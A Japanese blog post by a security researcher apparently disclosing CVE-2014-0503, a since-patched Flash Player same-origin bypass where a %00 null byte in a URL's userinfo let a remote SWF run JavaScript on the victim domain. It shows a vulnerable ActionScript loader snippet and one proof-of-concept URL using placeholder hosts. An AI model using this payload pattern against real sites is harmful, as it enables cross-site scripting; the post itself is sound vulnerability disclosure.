2014/04/30

CVE-2014-0503: 0x00文字を使ったFlashのセキュリティ制限のバイパス

Flash Playerに存在した、 セキュリティ制限をバイパスすることができた問題について書きます。この問題は2013年11月10日にAdobeに報告し、2014年3月のアップデートで修正されました。

http://helpx.adobe.com/security/products/flash-player/apsb14-08.html
These updates resolve a vulnerability that could be used to bypass the same origin policy (CVE-2014-0503).
早速どのような問題だったか書いていきます。
(なお、本問題はFirefoxにインストールしたFlash Playerでしか再現しませんでした。)


loader.load() という関数があります。この関数は、画像やSWFなどをSWF上にロードするために用いられます。
第1引数で、ロードする画像やSWFのURL、 第2引数で、どういったコンテキストで動作させるかを設定することができます。第2引数の設定次第では、第1引数に指定した別ドメインのSWFを読み込んで、そのSWFに記述されているJavaScriptの呼び出しを読み込み側のコンテキストで動作させることもできます。第2引数を省略した場合は、JavaScriptを実行できるのは同一ドメインのSWFの場合のみです。

これを踏まえて、以下のようなコードがあった場合を考えます。
var url:URLRequest = new URLRequest(loaderInfo.parameters["url"]);
var loader:Loader = new Loader();
loader.load(url);
addChild(loader);
loader.load()にパラメータの値がそのまま渡されているようなコードです。
セキュリティを考えたことがある人なら、未検証で値を渡していることに直感的に不安をかんじると思いますが、この関数においては、通常は、SWFがあるドメイン上で画像ファイルなどを勝手にロードできるだけで、大きな問題にはならないはずです。(もちろん、 javascript: な URLを指定してもFlash側でそのような動作は禁止されており、JavaScriptは実行されません。)
しかしながら、以下のようなURLを与えると、通常の制限を超えて、別ドメインのSWFからJavaScriptを動作させること(すなわち、XSSすること)ができていました。

http://victim.example.com/viewer.swf?url=http://victim.example.com%2500@attacker.example.org/xss.swf

(※ 被害者のサイトを victim.example.com、攻撃者のサイトを attacker.example.org  とします)

このURLで loaderInfo.parameters["url"]が実際に受け取る値は、http://victim.example.com%00@attacker.example.org/xss.swf です。ですから、ロードしようとしているのは、攻撃者のサイトに設置されたSWFファイルということになります。

前述のとおり、通常、第2引数を指定しない場合は、同一ドメインのSWFファイルをロードしたときしかJavaScriptの実行は起こらないはずでした。ところが、攻撃者のサイトのURLの認証情報を記述する部分に 「被害者のサイトのホスト」 + 「%00」 を指定することで、ロードしようとしているURLを被害者のサイトのドメインのコンテンツと誤って判断してしまうのか、xss.swfのJavaScriptの呼び出しをvictim.example.comで実行してしまいます。

要するに、この動作によって起きることは、loader.load()の第1引数に任意の値を渡せるSWFファイルがターゲットのサイトにあれば、XSSが可能になってしまうということです。この関数でも、CVE-2014-0491: AS2の関数に存在したjar:を通じたXSS で問題になった関数と同じように、画像などが勝手に自ドメインでロードされてもさほど問題にはならないので、パラメータから受け取った値をそのままロードするURLとして使っていることがよくあります。この問題のせいでXSSに脆弱になるサイトはたくさんあったのではないでしょうか。

以上のような問題でした。
また、同じように0x00文字を用いる方法で、allowScriptAccess=sameDomain 制限をバイパスできたり、BitmapData.draw()を使って別ドメインの画像ファイルの情報を読み取れたり、Flashの関数中で相対パス指定されているとき、細工したドメインを相対パスの元として読ますことができたりと、様々なおかしなことを起こせていました。

本問題も、HackerOneThe Internet Bug Bountyを通じて $2,000 の賞金を頂きました。MicrosoftとFacebookがスポンサーになっているらしいので、両社に感謝です。ありがとうございます。

#6380 Same Origin Security Bypass Vulnerability - HackerOne

次回の記事でも修正されたFlashの脆弱性を紹介するつもりです。